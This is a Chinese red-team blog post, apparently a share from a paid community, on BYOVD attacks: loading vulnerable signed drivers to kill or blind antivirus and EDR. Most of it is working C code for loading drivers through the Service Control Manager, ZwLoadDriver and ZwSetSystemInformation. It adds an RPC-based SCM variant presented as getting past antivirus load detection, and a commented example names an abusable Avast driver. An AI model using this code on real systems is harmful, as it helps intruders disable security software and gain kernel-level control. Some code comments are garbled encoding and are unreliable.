失踪人口回归,最近总算是稳定下来了,分享一篇知识星球的存货。
vulnerable driver在攻防中的场景大致就两种利用:
BYOVD
是将存在漏洞的合法驱动投递至目标系统,借助其完成恶意操作的攻击技术。借助滥用的合法驱动签名,攻击者得以绕过DSE
(强制驱动签名)机制的限制,在Ring0
完成各种攻击操作,如加载自己的驱动结束AV/EDR
或是屏蔽EDR
的回调,使其致盲。
或是利用vulnerable driver已有的IOCTL
来结束进程,如ProcessExplorer、ProcessHacker、Avast、等等驱动,这种vulnerable driver的好处就是利用驱动写好的结束进程代码来结束,不像利用任意内存读写驱动一样需要更改DSE
,可能会引入BSOD
风险。
那么其实AV/EDR
对这种手段也做了一些防御,其中一块就是加载检测,正常加载驱动在一些AV上可能会被提示,如360核晶,所以今天分享一个之前的方式。
下面列举几种常见的驱动加载方式:
BOOL SCMLoadDriver(char* lpszDriverName, char* lpszDriverPath)
{
char szDriverImagePath[256];
//得到完整的驱动路径
GetFullPathName(lpszDriverPath, 256, szDriverImagePath, NULL);
BOOL bRet = FALSE;
SC_HANDLE hServiceMgr = NULL;//SCM管理器的句柄
SC_HANDLE hServiceDDK = NULL;//NT驱动程序的服务句柄
//打开服务控制管理器
hServiceMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hServiceMgr == NULL)
{
//OpenSCManager失败
printf("OpenSCManager() Faild %d ! /n", GetLastError());
bRet = FALSE;
goto BeforeLeave;
}
else
{
////OpenSCManager成功
printf("OpenSCManager() ok ! /n");
}
//创建驱动所对应的服务
hServiceDDK = CreateService(hServiceMgr,
lpszDriverName, //驱动程序的在注册表中的名字
lpszDriverName, // 注册表驱动程序的 DisplayName 值
SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限
SERVICE_KERNEL_DRIVER,// 表示加载的服务是驱动程序
SERVICE_DEMAND_START, // 注册表驱动程序的 Start 值
SERVICE_ERROR_IGNORE, // 注册表驱动程序的 ErrorControl 值
szDriverImagePath, // 注册表驱动程序的 ImagePath 值
NULL,
NULL,
NULL,
NULL,
NULL);
DWORD dwRtn;
//判断服务是否失败
if (hServiceDDK == NULL)
{
dwRtn = GetLastError();
if (dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS)
{
//由于其他原因创建服务失败
printf("CrateService() Faild %d ! /n", dwRtn);
bRet = FALSE;
goto BeforeLeave;
}
else
{
//服务创建失败,是由于服务已经创立过
printf("CrateService() Faild Service is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! /n");
}
// 驱动程序已经加载,只需要打开
hServiceDDK = OpenService(hServiceMgr, lpszDriverName, SERVICE_ALL_ACCESS);
if (hServiceDDK == NULL)
{
//如果打开服务也失败,则意味错误
dwRtn = GetLastError();
printf("OpenService() Faild %d ! /n", dwRtn);
bRet = FALSE;
goto BeforeLeave;
}
else
{
printf("OpenService() ok ! /n");
}
}
else
{
printf("CrateService() ok ! /n");
}
//开启此项服务
bRet = StartService(hServiceDDK, NULL, NULL);
if (!bRet)
{
DWORD dwRtn = GetLastError();
if (dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_ALREADY_RUNNING)
{
printf("StartService() Faild %d ! /n", dwRtn);
bRet = FALSE;
goto BeforeLeave;
}
else
{
if (dwRtn == ERROR_IO_PENDING)
{
//设备被挂住
printf("StartService() Faild ERROR_IO_PENDING ! /n");
bRet = FALSE;
goto BeforeLeave;
}
else
{
//服务已经开启
printf("StartService() Faild ERROR_SERVICE_ALREADY_RUNNING ! /n");
bRet = TRUE;
goto BeforeLeave;
}
}
}
bRet = TRUE;
//离开前关闭句柄
BeforeLeave:
if (hServiceDDK)
{
CloseServiceHandle(hServiceDDK);
}
if (hServiceMgr)
{
CloseServiceHandle(hServiceMgr);
}
return bRet;
}
int MyZwLoadDriver(char* szDrvName, char* szDrvPath)
{
HMODULE hNtdll = LoadLibrary("ntdll.dll");
RtlAnsiStringToUnicodeString = (RTLANSISTRINGTOUNICODESTRING)GetProcAddress(hNtdll, "RtlAnsiStringToUnicodeString");
RtlFreeUnicodeString = (RTLFREEUNICODESTRING)GetProcAddress(hNtdll, "RtlFreeUnicodeString");
ZwLoadDriver = (ZWLOADDRIVER)GetProcAddress(hNtdll, "ZwLoadDriver"); char szSubKey[200], szDrvFullPath[256];
LSA_UNICODE_STRING buf1;
LSA_UNICODE_STRING buf2;
int iBuffLen;
HKEY hkResult;
char Data[4];
DWORD dwOK;
iBuffLen = sprintf(szSubKey, "System\\CurrentControlSet\\Services\\%s", szDrvName);
szSubKey[iBuffLen] = 0;
dwOK = RegCreateKey(HKEY_LOCAL_MACHINE, szSubKey, &hkResult);
if (dwOK != ERROR_SUCCESS)
return false;
Data[0] = 1;
Data[1] = 0;
Data[2] = 0;
Data[3] = 0;
dwOK = RegSetValueEx(hkResult, "Type", 0, 4, (const unsigned char*)Data, 4);
dwOK = RegSetValueEx(hkResult, "ErrorControl", 0, 4, (const unsigned char*)Data, 4);
dwOK = RegSetValueEx(hkResult, "Start", 0, 4, (const unsigned char*)Data, 4);
GetFullPathName(szDrvPath, 256, szDrvFullPath, NULL);
printf("Loading driver: %s\r\n", szDrvFullPath);
iBuffLen = sprintf(szSubKey, "\\??\\%s", szDrvFullPath);
szSubKey[iBuffLen] = 0;
dwOK = RegSetValueEx(hkResult, "ImagePath", 0, 1, (const unsigned char*)szSubKey, iBuffLen);
RegCloseKey(hkResult);
iBuffLen = sprintf(szSubKey, "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s", szDrvName);
szSubKey[iBuffLen] = 0;
buf2.Buffer = (PVOID)szSubKey;
buf2.Length = iBuffLen;
RtlAnsiStringToUnicodeString(&buf1, &buf2, 1);
//¼ÓÔØÇý¶¯³ÌÐò
dwOK = ZwLoadDriver(&buf1);
RtlFreeUnicodeString(&buf1);
iBuffLen = sprintf(szSubKey, "%s%s\\Enum", "System\\CurrentControlSet\\Services\\", szDrvName);
szSubKey[iBuffLen] = 0;
//ɾ³ý×¢²á±íÏî
RegDeleteKey(HKEY_LOCAL_MACHINE, szSubKey);
iBuffLen = sprintf(szSubKey, "%s%s\\Security", "System\\CurrentControlSet\\Services\\", szDrvName);
szSubKey[iBuffLen] = 0;
RegDeleteKey(HKEY_LOCAL_MACHINE, szSubKey);
iBuffLen = sprintf(szSubKey, "%s%s", "System\\CurrentControlSet\\Services\\", szDrvName);
szSubKey[iBuffLen] = 0;
RegDeleteKey(HKEY_LOCAL_MACHINE, szSubKey);
iBuffLen = sprintf(szSubKey, "\\\\.\\%s", szDrvName);
szSubKey[iBuffLen] = 0;
return true;
}
int MyZwSetSystemInformation(char* szDrvPath)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
UNICODE_STRING TmpBuff;
char szDrvFullPath[256], szTmp[256];
int iBuffLen; HMODULE hNtdll = LoadLibrary("ntdll.dll");
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress(hNtdll, "RtlInitUnicodeString");
ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwSetSystemInformation");
RtlAnsiStringToUnicodeString = (RTLANSISTRINGTOUNICODESTRING)GetProcAddress(hNtdll, "RtlAnsiStringToUnicodeString");
GetFullPathName(szDrvPath, 256, szTmp, NULL);
printf("Loading driver: %s\r\n", szTmp);
iBuffLen = sprintf(szDrvFullPath, "\\??\\%s", szTmp);
szDrvFullPath[iBuffLen] = 0;
TmpBuff.Buffer = (PVOID)szDrvFullPath;
TmpBuff.Length = iBuffLen;
RtlAnsiStringToUnicodeString(&(GregsImage.ModuleName), &TmpBuff, 1);
if (NT_SUCCESS(ZwSetSystemInformation(SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)))) //¼ÓÔؽøÄں˿ռä
{
printf("Driver: %s loaded.\r\n", szDrvFullPath);
}
else
{
printf("Driver: %s not loaded.\r\n", szDrvFullPath);
}
return true;
}
全称Service Control Manager Remote Protocol,用于远程管理服务控制管理器 (SCM),这是一个启用服务配置和服务程序控制的 RPC 服务器,具体为什么能绕过一些杀毒添加驱动,说白了还是可信进程、进程链等原因,发起加载请求的为RPC服务进程,这就像同样利用上面的普通方式利用白加黑绕过进程链后也可以添加一样。
具体细节去年在前公司的公众号也发过:《红队视角下的Windows RPC》
RpcTryExcept
{ //LPSTR ServiceName = (LPSTR)"aswSP_ArPot2";
//LPSTR SysPathName = (LPSTR)"C:\\Users\\PC3\\Desktop\\aswArPot.sys";
SC_RPC_HANDLE ScHandle = NULL;
status = ROpenSCManagerA((SVCCTL_HANDLEA)"127.0.0.1", NULL, SC_MANAGER_ALL_ACCESS, &ScHandle);
printf("[*] OpenSCManagerA status code: %d\r\n", status);
SC_RPC_HANDLE ServiceHandle = NULL;
LPSTR lpLoadOrderGroup = NULL;
LPDWORD lpdwTagId = 0;
LPBYTE lpDependencies = NULL;
DWORD dwDependSize = 0;
LPSTR lpServiceStartName = NULL;
LPBYTE lpPassword = NULL;
DWORD dwPwSize = 0;
if (!strcmp(SrvMode,"0")) //Driver Mode
{
status = RCreateServiceA(ScHandle,
ServiceName,
ServiceName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
SysPathName,
lpLoadOrderGroup,
lpdwTagId,
lpDependencies,
dwDependSize,
lpServiceStartName,
lpPassword,
dwPwSize,
&ServiceHandle);
}
else if (!strcmp(SrvMode, "1")) //Service EXE Mode
{
status = RCreateServiceA(ScHandle,
ServiceName,
ServiceName,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
SysPathName,
lpLoadOrderGroup,
lpdwTagId,
lpDependencies,
dwDependSize,
lpServiceStartName,
lpPassword,
dwPwSize,
&ServiceHandle);
}
else {
printf("[*] Error Mode, EXIT>>\r\n");
return 1;
}
printf("[*] RCreateServiceA status code: %d\r\n", status);
status = RStartServiceA(ServiceHandle, 0 , NULL);
printf("[*] RStartServiceA status code: %d\r\n", status);
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
printf("Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
}
RpcEndExcept
return 0;
}
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
效果就不演示了,我变成熟了,不爱装逼了。
还有很多驱动相关的知识也在星球历史总结分享过:
太多了就不列举了......
欢迎加入知识星球: